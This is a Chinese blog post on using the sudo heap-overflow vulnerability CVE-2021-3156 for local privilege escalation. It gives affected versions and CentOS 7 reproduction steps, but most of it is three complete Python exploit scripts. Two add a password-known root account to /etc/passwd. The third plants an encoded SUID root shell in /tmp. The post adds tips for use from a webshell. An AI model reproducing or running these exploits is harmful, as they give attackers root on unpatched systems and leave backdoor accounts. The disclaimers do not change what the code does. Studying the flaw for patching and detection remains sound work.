实战中的sudo提权漏洞的使用姿势(CVE-2021-3156)

免责声明:

本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

0x00 漏洞概述

2021年1月26日,Linux安全工具sudo被发现严重的基于堆缓冲区溢出漏洞。利用这一漏洞,攻击者无需知道用户密码,一样可以获得root权限,并且是在默认配置下。此漏洞已分配为CVE-2021-3156,危险等级评分为7分。漏洞发生的原因在于sudo错误地转义了参数中的反斜杠。

0x01 漏洞原理

当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

0x02 受影响版本

Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1

0x03 不受影响版本

sudo =>1.9.5p2

0x04 漏洞复现(centos)

1.注意一点网上传的输入sudoedit -s / 然后查看回显这个方法不准确,一定要手动验证
2.注意一点如果是在webshell提取一定要用交互式的shell

复现POC1:

首先创建一个centos虚拟机,查看版本在这里插入图片描述
可以看到如上图,Linux版本是centos7.9 sudo版本是1.8.23
创建一个低权限账账户。在这里插入图片描述
使用一个python版本的,这个版本可以针对默认配置的centos进行攻击。
如果不想去下载可以直接复制下面的代码

#!/usr/bin/python
'''
Exploit for CVE-2021-3156 on CentOS 7 by sleepya

Simplified version of exploit_userspec.py for easy understanding.
- Remove all checking code
- Fixed all offset (no auto finding)

Note: This exploit only work on sudo 1.8.23 on CentOS 7 with default configuration

Note: Disable ASLR before running the exploit (also modify STACK_ADDR_PAGE below) if you don't want to wait for bruteforcing
'''
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER

SUDO_PATH = b"/usr/bin/sudo"  # can be used in execve by passing argv[0] as "sudoedit"

PASSWD_PATH = '/etc/passwd'
APPEND_CONTENT = b"gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash\n";

#STACK_ADDR_PAGE = 0x7fffffff1000  # for ASLR disabled
STACK_ADDR_PAGE = 0x7fffe5d35000

libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)

def execve(filename, cargv, cenvp):
	libc.execve(filename, cargv, cenvp)

def spawn_raw(filename, cargv, cenvp):
	pid = os.fork()
	if pid:
		# parent
		_, exit_code = os.waitpid(pid, 0)
		return exit_code
	else:
		# child
		execve(filename, cargv, cenvp)
		exit(0)

def spawn(filename, argv, envp):
	cargv = (c_char_p * len(argv))(*argv)
	cenvp = (c_char_p * len(env))(*env)
	return spawn_raw(filename, cargv, cenvp)


resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))

# expect large hole for cmnd size is correct
TARGET_CMND_SIZE = 0x1b50

argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ]

SA = STACK_ADDR_PAGE

ADDR_REFSTR = pack('<Q', SA+0x20) # ref string

ADDR_PRIV_PREV = pack('<Q', SA+0x10)
ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec
ADDR_MEMBER_PREV = pack('<Q', SA+0x20)

ADDR_DEF_VAR = pack('<Q', SA+0x10)
ADDR_DEF_BINDING = pack('<Q', SA+0x30)

OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA+OFFSET)
ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40)
ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)
ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60)

# for spraying
epage = [
	'A'*0x8 + # to not ending with 0x00
	
	# fake def->var chunk (get freed)
	'\x21', '', '', '', '', '', '',
	ADDR_PRIV[:6], '',  # pointer to privilege
	ADDR_CMND[:6], '',  # pointer to cmndspec
	ADDR_MEMBER[:6], '',  # pointer to member
	
	# fake def->binding (list head) (get freed)
	'\x21', '', '', '', '', '', '',
	'', '', '', '', '', '', '', '',  # members.first
	'A'*0x10 + # members.last, pad
	
	# userspec chunk (get freed)
	'\x41', '', '', '', '', '', '', # chunk metadata
	'', '', '', '', '', '', '', '',  # entries.tqe_next
	'A'*8 +  # entries.tqe_prev
	'', '', '', '', '', '', '', '',  # users.tqh_first
	ADDR_MEMBER[:6]+'', '', # users.tqh_last
	'', '', '', '', '', '', '', '',  # privileges.tqh_first
	ADDR_PRIV[:6]+'', '', # privileges.tqh_last
	'', '', '', '', '', '', '', '',  # comments.stqh_first
	
	# member chunk
	'\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)
	'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)
	ADDR_MEMBER_PREV[:6], '',  # member.tqe_prev, userspec.file (ref string)
	'A'*8 + # member.name (can be any because this object is not freed)
	pack('<H', 284), '',  # type, negated
	'A'*0xc+ # padding
	
	# cmndspec chunk
	'\x61'*0x8 + # chunk metadata (need only prev_inuse flag)
	'A'*0x8 + # entries.tqe_next
	ADDR_CMND_PREV[:6], '',  # entries.teq_prev
	'', '', '', '', '', '', '', '',  # runasuserlist
	'', '', '', '', '', '', '', '',  # runasgrouplist
	ADDR_MEMBER[:6], '',  # cmnd
	'\xf9'+'\xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter
	'', '', '', '', '', '', '', '',  # role
	'', '', '', '', '', '', '', '',  # type
	'A'*8 + # padding
	
	# privileges chunk
	'\x51'*0x8 + # chunk metadata
	'A'*0x8 + # entries.tqe_next
	ADDR_PRIV_PREV[:6], '',  # entries.teq_prev
	'A'*8 + # ldap_role
	'A'*8 + # hostlist.tqh_first
	ADDR_MEMBER[:6], '',  # hostlist.teq_last
	'A'*8 +  # cmndlist.tqh_first
	ADDR_CMND[:6], '',  # cmndlist.teq_last
]

cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P'*(padlen-1))

env = [
	"A"*(7+0x4010 + 0x110) + # overwrite until first defaults
	"\x21\\", "\\", "\\", "\\", "\\", "\\", "\\", 
	"A"*0x18 + 
	# defaults
	"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next
	'a'*8 + # prev
	ADDR_DEF_VAR[:6]+'\\', '\\', # var
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val
	ADDR_DEF_BINDING[:6]+'\\', '\\', # binding
	ADDR_REFSTR[:6]+'\\', '\\',  # file
	"Z"*0x8 +  # type, op, error, lineno
	"\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid)
	'C'*0x638+  # need prev_inuse and overwrite until userspec
	'B'*0x1b0+
	# userspec chunk
	# this chunk is not used because list is traversed with curr->prev->prev->next
	"\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
	ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack
	"A"*8 + # entries.tqe_prev
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",  # users.tqh_first
	ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "",  # privileges.tqh_first
	
	"LC_ALL=C",
	"SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd
	"TZ=:",
]

ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
	env.extend(epage)

# last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
env[-1] = env[-1][:-len(SUDO_PATH)-1-8]

env.append(None)

cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)

# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
r, w = os.pipe()
os.dup2(r, 0)
w = os.fdopen(w, 'w')
w.write(APPEND_CONTENT)
w.close()

null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)

for i in range(8192):
	sys.stdout.write('%d\r' % i)
	if i % 8 == 0:
		sys.stdout.flush()
	exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
	if exit_code == 0:
		print("success at %d" % i)
		break

使用低权限账户运行exploit_cent7_userspec.py
像这种运行结束什么也没显示就是失败了。
在这里插入图片描述
如果运行失败的话多运行几遍,有的运行5.6遍才运行成功,这是第二次运行的,可以看到已经运行成功。
gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash success at 490
后面这个490表示运行第490次成功。
在这里插入图片描述
成功之后会自动生成一个用户名为gg,密码为gg的root权限用户,成功提权,whoami可以看到是root权限
在这里插入图片描述

复现POC2:

这个POC是吐司上面下载的。

#!/usr/bin/python
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER

SUDO_PATH = b"/usr/bin/sudo"

PASSWD_PATH = '/etc/passwd'
APPEND_CONTENT = b"aa:$5$AZaSmJBP$lsgF8hex//kd.G4XxUJGaS618ZtYoQ796UpkM/8Ucm3:0:0:gg:/root:/bin/bash\n";

#STACK_ADDR_PAGE = 0x7fffffff1000  # for ASLR disabled
STACK_ADDR_PAGE = 0x7fffe5d35000

libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)

def execve(filename, cargv, cenvp):
	libc.execve(filename, cargv, cenvp)

def spawn_raw(filename, cargv, cenvp):
	pid = os.fork()
	if pid:
		# parent
		_, exit_code = os.waitpid(pid, 0)
		return exit_code
	else:
		# child
		execve(filename, cargv, cenvp)
		exit(0)

def spawn(filename, argv, envp):
	cargv = (c_char_p * len(argv))(*argv)
	cenvp = (c_char_p * len(env))(*env)
	return spawn_raw(filename, cargv, cenvp)


resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))

# expect large hole for cmnd size is correct
TARGET_CMND_SIZE = 0x1b50

argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ]

SA = STACK_ADDR_PAGE

ADDR_REFSTR = pack('<Q', SA+0x20) # ref string

ADDR_PRIV_PREV = pack('<Q', SA+0x10)
ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec
ADDR_MEMBER_PREV = pack('<Q', SA+0x20)

ADDR_DEF_VAR = pack('<Q', SA+0x10)
ADDR_DEF_BINDING = pack('<Q', SA+0x30)

OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA+OFFSET)
ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40)
ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)
ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60)

# for spraying
epage = [
	'A'*0x8 + # to not ending with 0x00
	
	# fake def->var chunk (get freed)
	'\x21', '', '', '', '', '', '',
	ADDR_PRIV[:6], '',  # pointer to privilege
	ADDR_CMND[:6], '',  # pointer to cmndspec
	ADDR_MEMBER[:6], '',  # pointer to member
	
	# fake def->binding (list head) (get freed)
	'\x21', '', '', '', '', '', '',
	'', '', '', '', '', '', '', '',  # members.first
	'A'*0x10 + # members.last, pad
	
	# userspec chunk (get freed)
	'\x41', '', '', '', '', '', '', # chunk metadata
	'', '', '', '', '', '', '', '',  # entries.tqe_next
	'A'*8 +  # entries.tqe_prev
	'', '', '', '', '', '', '', '',  # users.tqh_first
	ADDR_MEMBER[:6]+'', '', # users.tqh_last
	'', '', '', '', '', '', '', '',  # privileges.tqh_first
	ADDR_PRIV[:6]+'', '', # privileges.tqh_last
	'', '', '', '', '', '', '', '',  # comments.stqh_first
	
	# member chunk
	'\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)
	'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)
	ADDR_MEMBER_PREV[:6], '',  # member.tqe_prev, userspec.file (ref string)
	'A'*8 + # member.name (can be any because this object is not freed)
	pack('<H', 284), '',  # type, negated
	'A'*0xc+ # padding
	
	# cmndspec chunk
	'\x61'*0x8 + # chunk metadata (need only prev_inuse flag)
	'A'*0x8 + # entries.tqe_next
	ADDR_CMND_PREV[:6], '',  # entries.teq_prev
	'', '', '', '', '', '', '', '',  # runasuserlist
	'', '', '', '', '', '', '', '',  # runasgrouplist
	ADDR_MEMBER[:6], '',  # cmnd
	'\xf9'+'\xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter
	'', '', '', '', '', '', '', '',  # role
	'', '', '', '', '', '', '', '',  # type
	'A'*8 + # padding
	
	# privileges chunk
	'\x51'*0x8 + # chunk metadata
	'A'*0x8 + # entries.tqe_next
	ADDR_PRIV_PREV[:6], '',  # entries.teq_prev
	'A'*8 + # ldap_role
	'A'*8 + # hostlist.tqh_first
	ADDR_MEMBER[:6], '',  # hostlist.teq_last
	'A'*8 +  # cmndlist.tqh_first
	ADDR_CMND[:6], '',  # cmndlist.teq_last
]

cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P'*(padlen-1))

env = [
	"A"*(7+0x4010 + 0x110) + # overwrite until first defaults
	"\x21\\", "\\", "\\", "\\", "\\", "\\", "\\", 
	"A"*0x18 + 
	# defaults
	"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next
	'a'*8 + # prev
	ADDR_DEF_VAR[:6]+'\\', '\\', # var
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val
	ADDR_DEF_BINDING[:6]+'\\', '\\', # binding
	ADDR_REFSTR[:6]+'\\', '\\',  # file
	"Z"*0x8 +  # type, op, error, lineno
	"\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid)
	'C'*0x638+  # need prev_inuse and overwrite until userspec
	'B'*0x1b0+
	# userspec chunk
	# this chunk is not used because list is traversed with curr->prev->prev->next
	"\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
	ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack
	"A"*8 + # entries.tqe_prev
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",  # users.tqh_first
	ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "",  # privileges.tqh_first
	
	"LC_ALL=C",
	"SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd
	"TZ=:",
]

ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
	env.extend(epage)

# last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
env[-1] = env[-1][:-len(SUDO_PATH)-1-8]

env.append(None)

cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)

# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
r, w = os.pipe()
os.dup2(r, 0)
w = os.fdopen(w, 'w')
w.write(APPEND_CONTENT)
w.close()

null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)

for i in range(8192):
	sys.stdout.write('%d\r' % i)
	if i % 8 == 0:
		sys.stdout.flush()
	exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
	if exit_code == 0:
		print("success at %d" % i)
		break

跟上面一样的操作,唯一不同的是这个poc运行成功会生成一个用户名为aa 密码为 wwwroot用户
还有就是这个poc只能适用于默认配置的centos7
成功运行。
在这里插入图片描述

复现POC3:

这个POC跟上面poc2都是吐司的,然后这个poc有点不一样的是运行成功之后输入目录/tmp/sshell可以直接进入root权限。

#!/usr/bin/python
import os
import subprocess
import sys
import resource
import select
import signal
from struct import pack
from ctypes import cdll, c_char_p, POINTER

SUDO_PATH = b"/usr/bin/sudo"

SHELL_PATH = b"/tmp/gg" # a shell script file executed by sudo (max length is 31)
SUID_PATH = "/tmp/sshell" # a file that will be owned by root and suid
PWNED_PATH = "/tmp/pwned" # a file that will be created after SHELL_PATH is executed

libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)

resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))

def create_bin(bin_path):
	if os.path.isfile(bin_path):
		return  # existed
	try:
		os.makedirs(bin_path[:bin_path.rfind('/')])
	except:
		pass
	
	import base64, zlib
	bin_b64 = 'eNqrd/VxY2JkZIABJgY7BhCvgsEBzHdgwAQODBYMMB0gmhVNFpmeCuXBaAYBCJWVGcHPmpUFJDx26Cdl5ukXZzAEhMRnWUfM5GcFAGyiDWs='
	with open(bin_path, 'wb') as f:
		f.write(zlib.decompress(base64.b64decode(bin_b64)))

def create_shell(path, suid_path):
	with open(path, 'w') as f:
		f.write('#!/bin/sh\n')
		f.write('/usr/bin/id >> %s\n' % PWNED_PATH)
		f.write('/bin/chown root.root %s\n' % suid_path)
		f.write('/bin/chmod 4755 %s\n' % suid_path)
	os.chmod(path, 0o755)
		
def execve(filename, cargv, cenvp):
	libc.execve(filename, cargv, cenvp)

def spawn_raw(filename, cargv, cenvp):
	pid = os.fork()
	if pid:
		# parent
		_, exit_code = os.waitpid(pid, 0)
		return exit_code
	else:
		# child
		execve(filename, cargv, cenvp)
		exit(0)

def spawn(filename, argv, envp):
	cargv = (c_char_p * len(argv))(*argv)
	cenvp = (c_char_p * len(envp))(*envp)
	# Note: error with backtrace is print to tty directly. cannot be piped or suppressd
	r, w = os.pipe()
	pid = os.fork()
	if not pid:
		# child
		os.close(r)
		os.dup2(w, 2)
		execve(filename, cargv, cenvp)
		exit(0)
	# parent
	os.close(w)
	# might occur deadlock in heap. kill it if timeout and set exit_code as 6
	# 0.5 second should be enough for execution
	sr, _, _ = select.select([ r ], [], [], 0.5)
	if not sr:
		os.kill(pid, signal.SIGKILL)
	_, exit_code = os.waitpid(pid, 0)
	if not sr: # timeout, assume dead lock in heap
		exit_code = 6
	
	if 128 < exit_code < 256:
		exit_code -= 128
	r = os.fdopen(r, 'r')
	err = r.read()
	r.close()
	return exit_code, err

def has_askpass(err):
	# 'sudoedit: no askpass program specified, try setting SUDO_ASKPASS'
	return 'sudoedit: no askpass program ' in err

def get_sudo_version():
	proc = subprocess.Popen([SUDO_PATH, '-V'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
	for line in proc.stdout:
		line = line.strip()
		if not line:
			continue
		if line.startswith('Sudo '):
			txt = line[12:].strip()
			pos = txt.rfind('p')
			if pos != -1:
				txt = txt[:pos]
			versions = list(map(int, txt.split('.')))
			break
	
	proc.wait()
	return versions

def check_sudo_version():
	sudo_vers = get_sudo_version()
	assert sudo_vers[0] == 1, "Unexpect sudo major version"
	assert sudo_vers[1] == 8, "Unexpect sudo minor version"
	return sudo_vers[2]

def check_mailer_root():
	if not os.access(SUDO_PATH, os.R_OK):
		print("Cannot determine disble-root-mailer flag")
		return True
	return subprocess.call(['grep', '-q', 'disable-root-mailer', SUDO_PATH]) == 1

def find_cmnd_size():
	argv = [ b"sudoedit", b"-A", b"-s", b"", None ]
	env = [ b'A'*(7+0x4010+0x110-1), b"LC_ALL=C", b"TZ=:", None ]
	
	size_min, size_max = 0xc00, 0x2000
	found_size = 0
	while size_max - size_min > 0x10:
		curr_size = (size_min + size_max) // 2
		curr_size &= 0xfff0
		print("\ncurr size: 0x%x" % curr_size)
		argv[-2] = b"\xfc"*(curr_size-0x10)+b'\\'
		exit_code, err = spawn(SUDO_PATH, argv, env)
		print("\nexit code: %d" % exit_code)
		print(err)
		if exit_code == 256 and has_askpass(err):
			# need pass. no crash.
			# fit or almost fit
			if found_size:
				found_size = curr_size
				break
			# maybe almost fit. try again
			found_size = curr_size
			size_min = curr_size
			size_max = curr_size + 0x20
		elif exit_code in (7, 11):
			# segfault. too big
			if found_size:
				break
			size_max = curr_size
		else:
			assert exit_code == 6
			# heap corruption. too small
			size_min = curr_size
	
	if found_size:
		return found_size
	assert size_min == 0x2000 - 0x10
	# old sudo version and file is in /etc/sudoers.d
	print('has 2 holes. very large one is bad')
	
	size_min, size_max = 0xc00, 0x2000
	for step in (0x400, 0x100, 0x40, 0x10):
		found = False
		env[0] = b'A'*(7+0x4010+0x110-1+step+0x100)
		for curr_size in range(size_min, size_max, step):
			argv[-2] = b"A"*(curr_size-0x10)+b'\\'
			exit_code, err = spawn(SUDO_PATH, argv, env)
			print("\ncurr size: 0x%x" % curr_size)
			print("\nexit code: %d" % exit_code)
			print(err)
			if exit_code in (7, 11):
				size_min = curr_size
				found = True
			elif found:
				print("\nsize_min: 0x%x" % size_min)
				break
		assert found, "Cannot find cmnd size"
		size_max = size_min + step
	
	# TODO: verify		
	return size_min

def find_defaults_chunk(argv, env_prefix):
	offset = 0
	pos = len(env_prefix) - 1
	env = env_prefix[:]
	env.extend([ b"LC_ALL=C", b"TZ=:", None ])
	# overflow until sudo crash without asking pass
	# crash because of defaults.entries.next is overwritten
	while True:
		env[pos] += b'A'*0x10
		exit_code, err = spawn(SUDO_PATH, argv, env)
		# 7 bus error, 11 segfault
		if exit_code in (7, 11) and not has_askpass(err):
			# found it
			env[pos] = env[pos][:-0x10]
			break
		offset += 0x10
	
	# verify if it is defaults
	env = env[:-3]
	env[-1] += b'\x41\\' # defaults chunk size 0x40
	env.extend([
		b'\\', b'\\', b'\\', b'\\', b'\\', b'\\',
		(b'' if has_tailq else b'A'*8) + # prev if no tailq
		b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # entries.next
		(b'A'*8 if has_tailq else b'') + # entries.prev
		pack("<Q", 0xffffffffff600000+0x880) + # var (use vsyscall for testing)
		b"A"*(0x20-1), # binding, file, type, op, error, lineno
		b"LC_ALL=C", b"TZ=:", None
	])
	
	exit_code, err = spawn(SUDO_PATH, argv, env)
	# old sudo verion has no cleanup if authen fail. exit code is 256.
	assert exit_code in (256, 11) and has_askpass(err), "cannot find defaults chunk"
	return offset

def create_env(offset_defaults):
	with open('/proc/sys/kernel/randomize_va_space') as f:
		has_aslr = int(f.read()) != 0
	if has_aslr:
		STACK_ADDR_PAGE = 0x7fffe5d35000
	else:
		STACK_ADDR_PAGE = 0x7fffffff1000  # for ASLR disabled
	
	SA = STACK_ADDR_PAGE

	ADDR_MEMBER_PREV = pack('<Q', SA+8)
	ADDR_MEMBER_LAST = ADDR_MEMBER_PREV

	ADDR_MEMBER = pack('<Q', SA+0x20)
	ADDR_DEF_BINDING = ADDR_MEMBER

	ADDR_MAILER_VAR = pack('<Q', SA+0x20+0x30)
	ADDR_MAILER_VAL = pack('<Q', SA+0x20+0x30+0x10)

	ADDR_ALWAYS_VAR = pack('<Q', SA+0x20+0x30+0x10+0x20)
	ADDR_DEF_BAD    = pack('<Q', SA+0x20+0x30+0x10+0x20+0x10)

	# no need to make cleanup without a crash. mailer is executed before cleanup steps
	# def_mailto is always set
	# def_mailerflags is mailer arguments
	epage = [
		b'A'*0x8 + # to not ending with 0x00
		
		ADDR_MEMBER[:6], b'',  # pointer to member
		ADDR_MEMBER_PREV[:6], b'',  # pointer to member
		
		# member chunk (and defaults->binding (list head))
		b'A'*8 + # chunk size
		b'', b'', b'', b'', b'', b'', b'', b'', # members.first
		ADDR_MEMBER_LAST[:6], b'', # members.last
		b'A'*8 + # member.name (can be any because this object is freed as list head (binding))
		pack('<H', MATCH_ALL), b'',  # type, negated
		b'A'*0xc + # padding
		
		# var (mailer)
		b'A'*8 + # chunk size
		b"mailerpath", b'A'*5 + 
		# val (mailer) (assume path length is less than 32)
		SHELL_PATH, b'A'*(0x20-len(SHELL_PATH)-1) + 
		# var (mail_always)
		b"mail_always", b'A'*4 + 
		
		# defaults (invalid mail_always, has val)
		(b'' if has_tailq else b'A'*8) + # prev if no tailq
		b'', b'', b'', b'', b'', b'', b'', b'', # next
		(b'A'*8 if has_tailq else b'') + # prev if has tailq
		ADDR_ALWAYS_VAR[:6], b'', # var
		ADDR_ALWAYS_VAR[:6], b'', # val (invalid defaults mail_always, trigger sendmail immediately)
		ADDR_DEF_BINDING[:6], b'', # binding or binding.first
	]
	if has_file:
		epage.extend([ ADDR_ALWAYS_VAR[:6], b'' ]) # file
	elif not has_tailq:
		epage.extend([ ADDR_MEMBER[:6], b'' ]) # binding.last
	epage.extend([
		pack('<H', DEFAULTS_CMND) + # type
		b'', b'', # for type is 4 bytes version
	])

	env = [
		b'A'*(7+0x4010+0x110+offset_defaults) +
		b'A'*8 + # chunk metadata
		(b'' if has_tailq else b'A'*8) + # prev if no tailq
		ADDR_DEF_BAD[:6]+b'\\', b'\\', # next
		(b'A'*8 if has_tailq else b'') + # prev if has tailq
		ADDR_MAILER_VAR[:6]+b'\\', b'\\', # var
		ADDR_MAILER_VAL[:6]+b'\\', b'\\', # val
		ADDR_DEF_BINDING[:6]+b'\\', b'\\', # binding or bind.first
	]
	if has_file or not has_tailq:
		env.extend([ ADDR_MEMBER[:6]+b'\\', b'\\' ]) # binding.last or file (no use)
	env.extend([
		pack('<H', DEFAULTS_CMND) + # type
		(b'\x01' if has_file else b'\\'), b'', # if not has_file, type is int (4 bytes)
		b"LC_ALL=C",
		b"TZ=:",
		b"SUDO_ASKPASS=/invalid",
	])

	cnt = sum(map(len, epage))
	padlen = 4096 - cnt - len(epage)
	epage.append(b'P'*(padlen-1))

	ENV_STACK_SIZE_MB = 4
	for i in range(ENV_STACK_SIZE_MB * 1024 // 4):
		env.extend(epage)

	# reserve space in last element for '/usr/bin/sudo' and padding
	env[-1] = env[-1][:-14-8]
	env.append(None)
	return env

def run_until_success(argv, env):
	cargv = (c_char_p * len(argv))(*argv)
	cenvp = (c_char_p * len(env))(*env)

	create_bin(SUID_PATH)
	create_shell(SHELL_PATH, SUID_PATH)

	null_fd = os.open('/dev/null', os.O_RDWR)
	os.dup2(null_fd, 2)

	for i in range(65536):
		sys.stdout.write('%d\r' % i)
		if i % 8 == 0:
			sys.stdout.flush()
		exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
		if os.path.exists(PWNED_PATH):
			print("success at %d" % i)
			if os.stat(PWNED_PATH).st_uid != 0:
				print("ROOT MAILER is disabled :(")
			break
		if exit_code not in (7, 11):
			print("invalid offset. exit code: %d" % exit_code)
			break

def main():
	cmnd_size = int(sys.argv[1], 0) if len(sys.argv) > 1 else None
	offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None

	if cmnd_size is None:
		cmnd_size = find_cmnd_size()
		print("found cmnd size: 0x%x" % cmnd_size)

	argv = [ b"sudoedit", b"-A", b"-s", b"A"*(cmnd_size-0x10)+b"\\", None ]

	env_prefix = [ b'A'*(7+0x4010+0x110) ]

	if offset_defaults is None:
		offset_defaults = find_defaults_chunk(argv, env_prefix)
	assert offset_defaults != -1

	print('')
	print("cmnd size: 0x%x" % cmnd_size)
	print("offset to defaults: 0x%x" % offset_defaults)

	argv = [ b"sudoedit", b"-A", b"-s", b"A"*(cmnd_size-0x10)+b"\\", None ]
	env = create_env(offset_defaults)
	run_until_success(argv, env)

if __name__ == "__main__":
	# global intialization
	assert check_mailer_root(), "root mailer is disabled"
	sudo_ver = check_sudo_version()
	DEFAULTS_CMND = 269
	if sudo_ver >= 15:
		MATCH_ALL = 284
	elif sudo_ver >= 13:
		MATCH_ALL = 282
	elif sudo_ver >= 7:
		MATCH_ALL = 280
	elif sudo_ver < 7:
		MATCH_ALL = 279
		DEFAULTS_CMND = 268

	has_tailq = sudo_ver >= 9
	has_file = sudo_ver >= 19  # has defaults.file pointer
	main()

成功运行
在这里插入图片描述
可以看到是root权限
在这里插入图片描述

免责声明:

仅限授权安全测试使用,禁止未授权非法攻击站点。本文章仅供学习和研究使用。严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

posted @ 2022-11-15 20:38  知冰  阅读(457)  评论(0编辑  收藏  举报